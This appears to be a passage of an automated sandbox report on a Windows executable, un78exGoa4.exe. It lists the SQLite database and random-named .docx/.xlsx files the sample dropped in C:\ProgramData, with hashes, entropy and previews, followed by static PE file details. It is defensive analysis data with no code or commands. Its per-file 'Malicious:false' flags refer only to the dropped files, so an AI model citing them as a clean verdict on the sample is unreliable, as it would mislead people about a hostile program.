                                  Preview:GNLQNHOLWBOQVJIFTLNFGJNNXMGUZOMCUNVQXIPWIQSXJKHHVRYLBVHOHRRAZCZOOSABVUNECAWUZDTCLDYZAFJGGGUXKDFDPLZWHOYARDSHMWUJKNJPXNWQKOEVEVLWQLXKJLHTDQZQULYODUZGGIUHFXGBKGLAQBERUUCASFPJWCVSHYWEKXXBEZZVPBKVPPRGJJFXTGVBUVLUVQNAPBMPJOZNNFCDPEHNHWSMZSBAYITASRGZTGXSYUNNLKZKAVLGDGRIUVYOWINQLHMWTCZYYSGNSZQWZQNLKENKZJSDTJDSZVFQGHKVENDXCIHQVPCJNVXYVCJTKGGQJHTLGYJROSCXNGTCNNLCBSAOHAXWLQLCXTRIYCZVDEDWKBEHBEBKKXYVNQHTFFQFVFLHQRXMYLCHQAJKIRETOPSMFDVMJOROHVBDNWQMACXDCGCPKSQUIXWYXSYDPSBSUJMXEBPBCWJDOKOSFYRZQSCWEIHCQFTRYQVAUUYDVCYUHDRUKCTOGNWSTPHONXNHSHICTVCMWIDPOKQMNGFKZOADDJPTUVPEWWFNEKDLAVDZNBHHFIRSPGSQGUQUGGIRSVJTEIAUJEHUVHRJPWEMACBNRIWVFWWRDNGHYAESSKWHOCXLPYRMKQYTXSSYLKESQEPWVDSSTKTYQDQTTAUVWPQFTTJMGMEGRECDIFCMPKXTYYNGENSBDKEVPPDNRRDLULORZGHRQIQWLMHMKLKDLNSNWXWGTMDLMPWAGGPUJXOOYWOGWZTDKIVNNXMKJEFALSJECCOVZVTAPKGAXWCUMHLAHYBPLBTDXBKKPKPJFJOKZKMPEWOOMMMCZHSENRPGKEJJHHOVFETVBBFBTDTSNLGGPVPAFDOXRJUKYZTGOFQUAVOGUZJARUUCKMRYUSWZIRYUATBQRRVCNMFMMBTGSFQCAOTPTSBPCICPBMURXQOIITZCLXKSJVDGFLGHUIHTALRYCNLFILDCLQXDOGMOKPXT

                                  C:\ProgramData\HDHCGHDHIDHCBGCBGCAE

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
                                  Category:dropped
                                  Size (bytes):49152
                                  Entropy (8bit):0.7876734657715041
                                  Encrypted:false
                                  SSDEEP:48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
                                  MD5:CF7758A2FF4A94A5D589DEBAED38F82E
                                  SHA1:D3380E70D0CAEB9AD78D14DD970EA480E08232B8
                                  SHA-256:6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
                                  SHA-512:1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
                                  Malicious:false
                                  Preview:SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                  C:\ProgramData\HVLFEFMHHB.xlsx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.688192278065048
                                  Encrypted:false
                                  SSDEEP:24:QpAScqpJqU2M0r6gHGZdxsLVOo2qf4I5MRduGv:QPtbqE0r4xMZ2qf4X
                                  MD5:E6B83E7618DE7C60467C035027CADC38
                                  SHA1:7A0812266C40EAF0F9C8829B49E087AD90D94E9C
                                  SHA-256:8391D2A7645B06DDB986C1A54E0AED11D95709A36D069D086620E8826BC3A330
                                  SHA-512:C36C40C23B7859FC2B2F87A8EDFEF247C68BC561BA1482C67EF5581B562A2937B1699325B94D5FEFA6C871E03FFDF15F1A3DB50E4C320FB2AD1E632E0947FDCB
                                  Malicious:false
                                  Preview:HVLFEFMHHBAZDOLLZUNPNIMHDSYDQCISTUECHUCHKIAZZFSVBOELUIHPSHSXTNSPZDGIETMGXZOYQTZRMDJQFPHHJHCMEQAMYDDSLZLLUVDYXMVXMJISSAHCKPLCLDDBZUFIHVCCXHATRPSYNOHWXWJCDWDHDDSPCXHPEIXNETRDYBQVDZCZSCETYTSJIPSGEXYYNWAPSXUGLJGMVDMSILOBIVRFUBILUJUUFFXRNCZYXSQGJHKUDBDJGZWNGLJTNJADAFVOPOEFRDJKVPITPOGUIZYBSRBAAHELWONYMPDQZRAGDWEYGIKGSEGSKLXCRIXYVYCNLFAPZDPVJDSTOJJHRBYAFVUUHUPTGDCDAPEFBLYIAHZQXIZVAXOXOWQBKLVAPOMJLDTVBONRQXSZVABHXMVKXAHVBIWXPKRGZTDKAMPDAXSWNKCNNSMKKEECAANVALIIUEAXTYSXOKCYQYYXZTEBBANDVEICJYYAJPCRNGLJYSKLTEWKKIAXTZLKICCIAOQPAOQVEJXZPIYIXVSONSXMGRCKSVBNLNAKITKHATKVOAKZESLANUYNJSIOBTYYPZRGWXHMQEGVVXXRBNEVVYRTZWBSBZXBCTWATGHIYCHGUZXZLMYYHKVDAYMGQCLNOREHTSWUSWKHGEHRJJXNCAWTDRWOVTMGLOTCFSEWPQOLOOKFURNEANRYAOHFWBHJZKWTCLPCRLHHDVHKOLGCJQPRJFRUIBVIZISBXZQXHSJNMVPMLGKPIUUWWSDCKSOOKYNCPBNMWIEHWOTNUZYEZNJPVYKEUWDEEGMHFTVODLUKMYGXMOIQNSORSIJQDOIDNLRNHVCEAJNRJTMHQTNPWKWGMSDSPCXTWTIXGFTYXSNTASOZIBWKTZVHVXHWDZNBVOJXKIZAIZOUVEGBNGHYRGUKVNBWAJQMCAZRJGMOBMXLQXXVXCKJKYVDWBTSZUJDTZUKJCTZDHHLCOTJGUSHFTFJZNKKTJVWMSES

                                  C:\ProgramData\JDDHMPCDUJ.docx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.687055908915499
                                  Encrypted:false
                                  SSDEEP:24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
                                  MD5:94EDB575C55407C555A3F710DF2A8CB3
                                  SHA1:3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
                                  SHA-256:DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
                                  SHA-512:F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
                                  Malicious:false
                                  Preview:JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

                                  C:\ProgramData\KLIZUSIQEN.docx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.696703751818505
                                  Encrypted:false
                                  SSDEEP:24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
                                  MD5:19255ED5D4F37A096C105CEF82D0F5C0
                                  SHA1:96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
                                  SHA-256:A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
                                  SHA-512:CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
                                  Malicious:false
                                  Preview:KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

                                  C:\ProgramData\KLIZUSIQEN.xlsx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.696703751818505
                                  Encrypted:false
                                  SSDEEP:24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
                                  MD5:19255ED5D4F37A096C105CEF82D0F5C0
                                  SHA1:96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
                                  SHA-256:A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
                                  SHA-512:CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
                                  Malicious:false
                                  Preview:KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

                                  C:\ProgramData\QCOILOQIKC.docx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.697125102277996
                                  Encrypted:false
                                  SSDEEP:24:uVOXLU7xwK58ZsokCVVZGi4eW0ZFJVPNR+x:c7xR8mwGi4sbv+x
                                  MD5:207485EFCE70435971C31586A1E4CF97
                                  SHA1:245A410AEB767B099944A8E81F75FC9A4B270DFB
                                  SHA-256:BF45E8FD687DC0E63FD40F32F2279152430579EDE044C3BB0852A1AC460D4B09
                                  SHA-512:A7F01CBBAFE9EA12B4C820F5E1A107D4C6FBD57CFF41C4AC679485F2B7DAFA4E9148AF830A39A083EC866E988A8E279FEB39D5EB58593E75D22253BED4DEFA19
                                  Malicious:false
                                  Preview:QCOILOQIKCUYMAHQLCLSCUGPPLVTJEARXPXBWFLOFHRVUSXLZVWHDQNKEMGPPQAGBLIPFAECDZNKKHITNQJASUXZAYMZIQCEHAQMCVZBMFUDBNQEKCBNCGMUWXDJLMJKVRKYBLRGNWGBGEVIGVROENGUXKJERNJSJJEMVLDKUXDFUWUPQNWUYRIEPUFOQKPDSZXXCKNQVBEAVMDMBRZSWYPCNALGHTDFWFNDXKSHXCRLYPVFVYVEOFRHUFZZGNIXSJQCPZGONOYWWUQLBEBGALPOGZBXJUYXTHWOKWNKJYPSELALXQYIKAHXCELBTKSQFTNYWBHRPQFULPLOCWEQAXEQNXOBIQOYFSEEZWHQQLZPBQOUMVZIMRWRLSPDKEBXSTPZLAGVYIORHCDBXTBHYOFKACXVGKKSIFHPOLDOQGIDQPFPVIPGUCGUCQLFFBYAGFJYFOMBUMPAHPQLDOHYAMKEGSDPXEYBQJUOWZOPFYRTLYUYDJHPLVEXBXUGVUEYIBUTUABUIHROFHZMLJUXWGZILWRHVKGOSZXXCIWGRGUZQDKQMTXRRWHDLJPPIRDALEIAYYTEEONIAELEISEOGNTDSALVOZDMFPLJSJMKJYMWGSKCTXHTLYYFJSXNZMDELRTJBNXSGAOEPKCPEEPFZKCAATOWHUWGQAEQNZHTKQEUCFRXVJWOGAEQDIWARNNFKCHEDRWTKEOVTURBKPDMQPPDCJGTYCTIRELHGRIRLWAPLCEHANSMGDZZYCXXDOTQVOSDZJAEBOTEVLSMHXCOWDPVQPSGDIDBAWUTDPIYPVBFSUMFBUYOPRXLECFHENURLSLKGPFWXDUFYOAKNTFKOYFUZEKLRZOLPYKMCKVZOIMDCCSGPQNCQXJOTJDKUQEPVHFKRSGZYJBNUHVTOEMNLTDXGZHTDQFQZCOULTNVZRAVLOIOVIKUTWPYLRJUCUDMYVYFWSBLJTJKMSJEIJXWYNPKGTYLKDAEVBUQUIJX

                                  C:\ProgramData\QCOILOQIKC.xlsx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.697125102277996
                                  Encrypted:false
                                  SSDEEP:24:uVOXLU7xwK58ZsokCVVZGi4eW0ZFJVPNR+x:c7xR8mwGi4sbv+x
                                  MD5:207485EFCE70435971C31586A1E4CF97
                                  SHA1:245A410AEB767B099944A8E81F75FC9A4B270DFB
                                  SHA-256:BF45E8FD687DC0E63FD40F32F2279152430579EDE044C3BB0852A1AC460D4B09
                                  SHA-512:A7F01CBBAFE9EA12B4C820F5E1A107D4C6FBD57CFF41C4AC679485F2B7DAFA4E9148AF830A39A083EC866E988A8E279FEB39D5EB58593E75D22253BED4DEFA19
                                  Malicious:false
                                  Preview:QCOILOQIKCUYMAHQLCLSCUGPPLVTJEARXPXBWFLOFHRVUSXLZVWHDQNKEMGPPQAGBLIPFAECDZNKKHITNQJASUXZAYMZIQCEHAQMCVZBMFUDBNQEKCBNCGMUWXDJLMJKVRKYBLRGNWGBGEVIGVROENGUXKJERNJSJJEMVLDKUXDFUWUPQNWUYRIEPUFOQKPDSZXXCKNQVBEAVMDMBRZSWYPCNALGHTDFWFNDXKSHXCRLYPVFVYVEOFRHUFZZGNIXSJQCPZGONOYWWUQLBEBGALPOGZBXJUYXTHWOKWNKJYPSELALXQYIKAHXCELBTKSQFTNYWBHRPQFULPLOCWEQAXEQNXOBIQOYFSEEZWHQQLZPBQOUMVZIMRWRLSPDKEBXSTPZLAGVYIORHCDBXTBHYOFKACXVGKKSIFHPOLDOQGIDQPFPVIPGUCGUCQLFFBYAGFJYFOMBUMPAHPQLDOHYAMKEGSDPXEYBQJUOWZOPFYRTLYUYDJHPLVEXBXUGVUEYIBUTUABUIHROFHZMLJUXWGZILWRHVKGOSZXXCIWGRGUZQDKQMTXRRWHDLJPPIRDALEIAYYTEEONIAELEISEOGNTDSALVOZDMFPLJSJMKJYMWGSKCTXHTLYYFJSXNZMDELRTJBNXSGAOEPKCPEEPFZKCAATOWHUWGQAEQNZHTKQEUCFRXVJWOGAEQDIWARNNFKCHEDRWTKEOVTURBKPDMQPPDCJGTYCTIRELHGRIRLWAPLCEHANSMGDZZYCXXDOTQVOSDZJAEBOTEVLSMHXCOWDPVQPSGDIDBAWUTDPIYPVBFSUMFBUYOPRXLECFHENURLSLKGPFWXDUFYOAKNTFKOYFUZEKLRZOLPYKMCKVZOIMDCCSGPQNCQXJOTJDKUQEPVHFKRSGZYJBNUHVTOEMNLTDXGZHTDQFQZCOULTNVZRAVLOIOVIKUTWPYLRJUCUDMYVYFWSBLJTJKMSJEIJXWYNPKGTYLKDAEVBUQUIJX

                                  C:\ProgramData\SNIPGPPREP.xlsx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.701796197804446
                                  Encrypted:false
                                  SSDEEP:24:C1U2g6pCwYBq9+pGzEcrz023TZ9iFxwELi:2U2gCCm9drz0wTZsIEe
                                  MD5:C8350CE91F4E8E8B04269B5F3C6148DA
                                  SHA1:22D523A327EBAF8616488087E2DCE9DBD857F0CC
                                  SHA-256:1BE0B3682C4F3A3315465E66A2C7C357BB06225947C526B1B89A39D9D120AFBF
                                  SHA-512:C4891D35B6E895E4A9F4A785701EFFA4305AE88D09D309865F9312D95C296CB417916D8CBA461099E80F68C5AE5015A1172E60319256A453DE81445660F55806
                                  Malicious:false
                                  Preview:SNIPGPPREPVDSXKMBCQXEQRWSYOYKDGHPXSNVTYLWVPMUIXPKXDRFHMINIQBFZTPTVMTSZAWIXFLHCKJNAWKCQYMBHUKFDOIJBXXLUNVNMKEDOTTPPDLIAGSTXKJKMHVVGIGUNGKPTPDUEUVMGZRIBRMBHLZOZZIBTDOCDOASXCIFRVGCSENFOEARIYUEACCMVFPUDRRUHYQQFJBAWDGKHRWDHTGYUXKSSVSTFCVQOQGTKOBOMZZTKVYFLAXTKJMTUDSETBGCOOKYGPLGPNAFICZERONWJHOMIWLGEWSSANDAVRYRUWZSRNZFYKTMSQXLZZGTQKXVQLDKQIHEDADRTKYMYNBVWROSFBYUXYULCESFAKNPBXYOELAWZCZFAPVQWMMNLBQRIPMVDMMWGXGKDJNUJGGGBNSGWEDDLRHGAAWJCYOEMVEHAYXYEHSKMWJPPHERNLXAGENBCUAZODRTUDIOUWNPZSHJGYOVHWQKWRAGGUMLCITTLAJXOXDUPFFLAHWLWPRQRAXSKOBHTXQNNGYHHVLBOEFTHAXTLKUGTNIYSDATIJHBUFTSGQHRXQQGXCBWVJIULNMYSMFYMPXRZOWMHYMZOLIBIYHPQRQJTZOMJZHKRTSWQQVINGIZHWDLNCJKAMKHSMFOTUPQMESXHXMJSAXESVNVSKORQSXVCYCKNZKOFZFUKINTRLLEGXVQTQURFVKWLFRQZVQVBVOEMATWFLXFDJVWCYMPYCSJCUUGUCIPOPIVLEFNZCPNYAWTXOATSTYLECDEFJNQFYGVPQWTJBNAVWKGALRTACLENBODJOQDXMPOYCYEFXOOOOMCQXLRGDBUUVJNQAEBZDSPDLPFIEOXRWSFCHXDUSBTSLEDLCZPOHIMIMQZMHHTMDFUUMKUAMBYNWWRQKDEXPPDWGKCNTWTFNHBMNDQIMVNFYWGALYORHHPUAXLDHMTGOKMMTAOCOVLGFIHZLZFADWMNNCWOLNJDSGFCWVDBYK

                                  C:\ProgramData\TQDFJHPUIU.docx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.697771666106845
                                  Encrypted:false
                                  SSDEEP:24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
                                  MD5:D910958AF930D9DCA27D8F529EC053D0
                                  SHA1:321478679C760C347743149A323469AD4BFEA87D
                                  SHA-256:C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
                                  SHA-512:0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
                                  Malicious:false
                                  Preview:TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

                                  C:\ProgramData\ZIPXYXWIOY.xlsx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.697427014915338
                                  Encrypted:false
                                  SSDEEP:24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
                                  MD5:2D7ACA56B5F340F28DD1D2B46D700BA6
                                  SHA1:3966684FF029665614B8DC948349178FB9E8C078
                                  SHA-256:B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
                                  SHA-512:D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
                                  Malicious:false
                                  Preview:ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

                                  Static File Info

                                  General

                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                  Entropy (8bit):6.486309125722837
                                  TrID:
                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                  • DOS Executable Generic (2002/1) 0.02%
                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                  File name:un78exGoa4.exe
                                  File size:297472
                                  MD5:84f304e30439cf1f837ed4f31c1fbb28
                                  SHA1:257518ece774da6ba53ca070121a206519f0c229
                                  SHA256:cb7f4e286a4a8fdfa525168591131d37019090d94040feb13c8078c4a7ae4b37
                                  SHA512:2fb76cd9feab5a1db8ed728f9c9a158eac97f658adb962d77bd27b1055e8ca48b2b14724871b5964d181f42bb74a51b36269a18061078f57f17fae158c81ba3e
                                  SSDEEP:3072:Ad9jDaSlXbBp6mLpIlYUEjOyv+L5bIWw7az/5QtGvAUd:qDakXmmL0CuLhIPtI
                                  TLSH:DB542A0396E2FC50ED668A729E2FC6EC779EF5508E19775A2118AE1F0C702B2D173712
